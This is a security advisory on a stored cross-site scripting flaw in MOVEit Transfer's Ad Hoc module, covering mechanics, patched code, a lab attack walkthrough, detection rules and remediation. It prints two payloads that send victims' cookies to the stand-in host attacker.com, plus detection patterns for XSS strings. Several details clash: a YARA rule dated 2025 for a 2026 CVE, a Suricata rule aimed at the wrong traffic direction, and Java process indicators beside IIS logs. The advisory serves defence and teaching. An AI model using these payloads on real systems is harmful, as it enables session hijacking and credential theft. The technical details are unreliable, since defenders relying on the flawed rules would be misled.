CVE-2026-11903

Executive Summary

CVE-2026-11903 is a stored cross-site scripting (XSS) vulnerability in Progress MOVEit Transfer’s Ad Hoc module. An attacker can inject malicious scripts into file transfer pages, which execute when a victim views the crafted content. With a CVSS score of 8.0, this flaw allows session hijacking, credential theft, and lateral movement within the MOVEit environment. No public exploit code or proof-of-concept is available at this time, but the risk is elevated due to MOVEit’s widespread enterprise use.

Supply Chain & Package Security

This vulnerability is not in an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application. Supply chain risk is limited to the software vendor’s update process; no third-party package dependencies are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
• Base Score: 8.0 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click or view)
• Scope: Changed (impact crosses trust boundaries)
• Confidentiality Impact: High (session tokens, file contents)
• Integrity Impact: Low (script injection)
• Availability Impact: None

Threat Level: High. Although no public exploit exists, the vulnerability is easily exploitable once discovered, and MOVEit Transfer is a high-value target for ransomware groups.

Deep Dive & Mechanics

The Ad Hoc module allows users to send files without formal user accounts. Input fields (e.g., recipient email, message body, file description) are not properly sanitized before being rendered in the web interface. An attacker can submit a crafted payload such as:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

When an administrator or recipient views the Ad Hoc transfer page, the script executes in their browser context. This enables:

• Session token theft (bypassing authentication)
• Forged file uploads or deletions
• Phishing for credentials via injected forms

The vulnerability is stored (persistent) because the payload is saved in the database and served to all subsequent viewers.

Vulnerable vs. Patched Code

Vulnerable (MOVEit Transfer < 2026.0.1):

// AdHocController.js (simplified)
function renderMessage(message) {
    document.getElementById('message').innerHTML = message; // No sanitization
}

Patched (MOVEit Transfer 2026.0.1):

// AdHocController.js (simplified)
function renderMessage(message) {
    const sanitized = DOMPurify.sanitize(message);
    document.getElementById('message').innerHTML = sanitized;
}

The patch introduces output encoding and sanitization (e.g., using DOMPurify or equivalent) for all user-controlled fields in the Ad Hoc module.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a vulnerable MOVEit Transfer instance (e.g., version 2025.0.0) in a lab environment.
2. Craft Payload: Create a malicious Ad Hoc transfer with the following in the message field:

   <img src=x onerror="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))">
   

3. Deliver: Send the transfer to a target email address.
4. Trigger: When the recipient views the transfer page, the payload executes, exfiltrating cookies to the attacker’s server.

Note: No public exploit code exists. The above is a conceptual example.

Blue Team (Detection & Response)

1. Monitor Web Logs: Look for unusual POST requests to /adhoctransfer with encoded HTML/JavaScript in parameters.
2. Inspect Database: Query the MOVEit database for stored XSS patterns in the AdHocMessage table:

   SELECT * FROM AdHocMessage WHERE Message LIKE '%<script%' OR Message LIKE '%onerror%';
   

3. Honeypot: Deploy a fake Ad Hoc transfer with a unique token; alert if the token is accessed from an unexpected IP.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing document.cookie or localStorage in the URL.
• File: Presence of adhoctransfer logs with base64-encoded strings in the message field.
• Process: javaw.exe or tomcat process making unusual outbound connections.
• Registry/Config: Modified web.config or server.xml allowing unsafe HTML rendering.

Detection Engineering

YARA Rule

rule CVE_2026_11903_XSS_AdHoc {
    meta:
        description = "Detects XSS payloads in MOVEit Transfer Ad Hoc module logs"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-11903"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: MOVEit Transfer Ad Hoc XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS payloads in MOVEit Transfer Ad Hoc module requests
author: Valters IT
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-stem: '/adhoctransfer*'
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in file descriptions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-11903 MOVEit Transfer Ad Hoc XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/adhoctransfer"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2026-11903;
    classtype:web-application-attack;
)

Remediation & Mitigation

1. Immediate: Upgrade to MOVEit Transfer 2026.0.1, 2025.1.4, or 2025.0.8.
2. Workaround: Disable the Ad Hoc module if not required:
   • In the MOVEit Transfer admin console, navigate to Modules > Ad Hoc and set to Disabled.
3. WAF Rule: Deploy a Web Application Firewall rule to block requests containing <script, onerror, or javascript: in the Ad Hoc endpoint.
4. Monitor: Review IIS logs for anomalous POST requests to /adhoctransfer with encoded payloads.
5. User Training: Educate users not to click on suspicious file transfer links.

Valters IT